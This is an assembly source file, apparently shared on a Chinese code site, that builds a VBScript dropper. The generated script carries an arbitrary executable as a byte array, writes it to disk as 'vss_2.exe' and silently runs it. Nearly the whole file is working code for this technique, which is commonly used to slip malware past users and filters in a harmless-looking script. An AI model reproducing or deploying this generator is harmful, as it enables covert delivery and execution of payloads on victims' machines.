📄 vbs.asm
字号:
; VBS file generator
; #########################################################################
.data
szVBSFileName equ "vss_2.exe"
szVBSCode1 db "dim filesys, filetxt, getname, path, textfile, i",13,10
db 'textfile = "',szVBSFileName,'"',13,10
db 'Set filesys = CreateObject("Scripting.FileSystemObject")',13,10
db 'Set filetxt = filesys.CreateTextFile(textfile, True)',13,10
db 'getname = filesys.GetFileName(path)',13,10
db 'dim a',13,10
db 'a=Array(',0
szVBSCode2 db ")",13,10
db 'for i=0 to ',0
szVBSCode3 db 13,10,'filetxt.Write(chr(a(i)))',13,10
db 'next',13,10
db 'filetxt.Close',13,10
db 'dim z',13,10
db 'dim zz',13,10
db 'Const ForReading = 1, ForWriting = 2, ForAppending = 3',13,10
db 'const RemoteExe = "',szVBSFileName,'"',13,10
db 'set zz = wscript.createobject("wscript.shell")',13,10
db 'z = zz.run ("',szVBSFileName,'")',13,10
db 'wscript.quit',13,10,0
szVBSShortFmt db "%hu,",0
szVBSShortFmt2 db "%hu",0
szVBSIntFmt db "%lu",0
.code
GenVBSCode proc hFileIn, hFileOut, dwInLen: DWORD
LOCAL NumStr[20]: BYTE
LOCAL Temp: BYTE
LOCAL dwTemp, len: DWORD
invoke lstrlen, offset szVBSCode1
xchg eax, edx
invoke WriteFile, hFileOut, offset szVBSCode1, edx, addr dwTemp, NULL
m2m len, dwInLen
.WHILE len > 0
invoke ReadFile, hFileIn, addr Temp, 1, addr dwTemp, NULL
.IF len == 1
mov edx, offset szVBSShortFmt2
.ELSE
mov edx, offset szVBSShortFmt
.ENDIF
invoke wsprintf, addr NumStr, edx, Temp
invoke lstrlen, addr NumStr
xchg eax, edx
invoke WriteFile, hFileOut, addr NumStr, edx, addr dwTemp, NULL
dec len
.ENDW
invoke lstrlen, offset szVBSCode2
xchg eax, edx
invoke WriteFile, hFileOut, offset szVBSCode2, edx, addr dwTemp, NULL
dec dwInLen
invoke wsprintf, addr NumStr, offset szVBSIntFmt, dwInLen
invoke lstrlen, addr NumStr
xchg eax, edx
invoke WriteFile, hFileOut, addr NumStr, edx, addr dwTemp, NULL
invoke lstrlen, offset szVBSCode3
xchg eax, edx
invoke WriteFile, hFileOut, offset szVBSCode3, edx, addr dwTemp, NULL
ret
GenVBSCode endp
CreateVBSFile proc uses ebx InFile, OutFile: DWORD
LOCAL hFileIn: DWORD
LOCAL hFileOut: DWORD
xor ebx, ebx
invoke CreateFile, InFile, GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL
mov hFileIn, eax
inc eax
jz @cvf_ret
invoke CreateFile, OutFile, GENERIC_WRITE or GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, NULL
mov hFileOut, eax
inc eax
jz @cvf_ret
invoke GetFileSize, hFileIn, NULL
invoke GenVBSCode, hFileIn, hFileOut, eax
invoke CloseHandle, hFileIn
invoke CloseHandle, hFileOut
inc ebx
@cvf_ret:
mov eax, ebx
ret
CreateVBSFile endp
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -